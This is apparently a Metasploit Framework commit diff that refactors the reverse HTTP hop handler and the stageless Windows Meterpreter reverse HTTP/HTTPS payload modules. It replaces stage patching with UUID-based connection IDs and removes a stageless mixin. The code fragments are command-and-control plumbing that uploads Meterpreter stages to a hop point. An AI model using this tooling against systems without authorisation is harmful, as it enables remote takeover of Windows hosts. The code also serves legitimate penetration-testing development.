Skip to content

Commit cf62d1f

Browse files
committed
Remove patch and old stageless stuff
1 parent b42f4f5 commit cf62d1f

File tree

6 files changed

+27
-109
lines changed

6 files changed

+27
-109
lines changed

lib/msf/core/handler/reverse_hop_http.rb

Lines changed: 15 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -90,7 +90,7 @@ def start_handler
9090
ReverseHopHttp.hop_handlers[full_uri] = self
9191
self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri,
9292
self) do |uri, hop_http|
93-
hop_http.send_new_stage # send stage to hop
93+
hop_http.send_new_stage(uri) # send stage to hop
9494
delay = 1 # poll delay
9595
# Continue to loop as long as at least one handler or one session is depending on us
9696
until hop_http.refs < 1 && hop_http.handlers.empty?
@@ -138,7 +138,7 @@ def start_handler
138138
:ssl => false,
139139
})
140140
# send new stage to hop so next inbound session will get a unique ID.
141-
hop_http.send_new_stage
141+
hop_http.send_new_stage(uri)
142142
else
143143
hop_http.lock.unlock
144144
end
@@ -241,34 +241,27 @@ def initialize(info = {})
241241
#
242242
# Generates and sends a stage up to the hop point to be ready for the next client
243243
#
244-
def send_new_stage
245-
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
244+
def send_new_stage(uri)
245+
# try to get the UUID out of the existing URI
246+
info = process_uri_resource(uri)
247+
uuid = info[:uuid] || Msf::Payload::UUID.new
248+
249+
# generate a new connect
250+
sum = uri_checksum_lookup(:connect)
251+
conn_id = generate_uri_uuid(sum, uuid)
246252
url = full_uri + conn_id + "/\x00"
247253

248254
print_status("Preparing stage for next session #{conn_id}")
249-
blob = stage_payload
250-
#
251-
# Patch options into the payload
252-
#
253-
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
254-
:ssl => ssl?,
255-
:url => url,
256-
:expiration => datastore['SessionExpirationTimeout'],
257-
:comm_timeout => datastore['SessionCommunicationTimeout'],
258-
:ua => datastore['MeterpreterUserAgent'],
259-
:proxy_host => datastore['PayloadProxyHost'],
260-
:proxy_port => datastore['PayloadProxyPort'],
261-
:proxy_type => datastore['PayloadProxyType'],
262-
:proxy_user => datastore['PayloadProxyUser'],
263-
:proxy_pass => datastore['PayloadProxyPass'])
264-
265-
blob = encode_stage(blob)
255+
blob = stage_payload({
256+
:uuid => uuid,
257+
:uri => conn_id
258+
})
266259

267260
#send up
268261
crequest = mclient.request_raw(
269262
'method' => 'POST',
270263
'uri' => control,
271-
'data' => blob,
264+
'data' => encode_stage(blob),
272265
'headers' => {'X-init' => 'true'}
273266
)
274267
res = mclient.send_recv(crequest)

lib/msf/core/handler/reverse_http/stageless.rb

Lines changed: 0 additions & 75 deletions
This file was deleted.

modules/payloads/singles/windows/meterpreter_reverse_http.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,6 @@
66
require 'msf/core'
77
require 'msf/core/transport_config'
88
require 'msf/core/handler/reverse_http'
9-
require 'msf/core/handler/reverse_http/stageless'
109
require 'msf/core/payload/windows/meterpreter_loader'
1110
require 'msf/base/sessions/meterpreter_x86_win'
1211
require 'msf/base/sessions/meterpreter_options'
@@ -19,7 +18,6 @@ module Metasploit4
1918
include Msf::Payload::Windows
2019
include Msf::Payload::Single
2120
include Msf::Payload::Windows::MeterpreterLoader
22-
include Msf::Handler::ReverseHttp::Stageless
2321
include Msf::Sessions::MeterpreterOptions
2422

2523
def initialize(info = {})
@@ -35,7 +33,9 @@ def initialize(info = {})
3533
'Session' => Msf::Sessions::Meterpreter_x86_Win
3634
))
3735

38-
initialize_stageless
36+
register_options([
37+
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
38+
], self.class)
3939
end
4040

4141
def generate

modules/payloads/singles/windows/meterpreter_reverse_https.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,6 @@
66
require 'msf/core'
77
require 'msf/core/transport_config'
88
require 'msf/core/handler/reverse_https'
9-
require 'msf/core/handler/reverse_http/stageless'
109
require 'msf/core/payload/windows/meterpreter_loader'
1110
require 'msf/base/sessions/meterpreter_x86_win'
1211
require 'msf/base/sessions/meterpreter_options'
@@ -19,7 +18,6 @@ module Metasploit4
1918
include Msf::Payload::Windows
2019
include Msf::Payload::Single
2120
include Msf::Payload::Windows::MeterpreterLoader
22-
include Msf::Handler::ReverseHttp::Stageless
2321
include Msf::Sessions::MeterpreterOptions
2422

2523
def initialize(info = {})
@@ -35,7 +33,9 @@ def initialize(info = {})
3533
'Session' => Msf::Sessions::Meterpreter_x86_Win
3634
))
3735

38-
initialize_stageless
36+
register_options([
37+
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
38+
], self.class)
3939
end
4040

4141
def generate

modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,6 @@
55

66
require 'msf/core'
77
require 'msf/core/handler/reverse_http'
8-
require 'msf/core/handler/reverse_http/stageless'
98
require 'msf/core/payload/windows/x64/meterpreter_loader'
109
require 'msf/base/sessions/meterpreter_x64_win'
1110
require 'msf/base/sessions/meterpreter_options'
@@ -18,7 +17,6 @@ module Metasploit4
1817
include Msf::Payload::Windows
1918
include Msf::Payload::Single
2019
include Msf::Payload::Windows::MeterpreterLoader_x64
21-
include Msf::Handler::ReverseHttp::Stageless
2220
include Msf::Sessions::MeterpreterOptions
2321

2422
def initialize(info = {})
@@ -34,7 +32,9 @@ def initialize(info = {})
3432
'Session' => Msf::Sessions::Meterpreter_x64_Win
3533
))
3634

37-
initialize_stageless
35+
register_options([
36+
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
37+
], self.class)
3838
end
3939

4040
def generate

modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,6 @@
66
require 'msf/core'
77
require 'msf/core/transport_config'
88
require 'msf/core/handler/reverse_https'
9-
require 'msf/core/handler/reverse_http/stageless'
109
require 'msf/core/payload/windows/x64/meterpreter_loader'
1110
require 'msf/base/sessions/meterpreter_x64_win'
1211
require 'msf/base/sessions/meterpreter_options'
@@ -19,7 +18,6 @@ module Metasploit4
1918
include Msf::Payload::Windows
2019
include Msf::Payload::Single
2120
include Msf::Payload::Windows::MeterpreterLoader_x64
22-
include Msf::Handler::ReverseHttp::Stageless
2321
include Msf::Sessions::MeterpreterOptions
2422

2523
def initialize(info = {})
@@ -35,7 +33,9 @@ def initialize(info = {})
3533
'Session' => Msf::Sessions::Meterpreter_x64_Win
3634
))
3735

38-
initialize_stageless
36+
register_options([
37+
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
38+
], self.class)
3939
end
4040

4141
def generate

0 commit comments

Comments
 (0)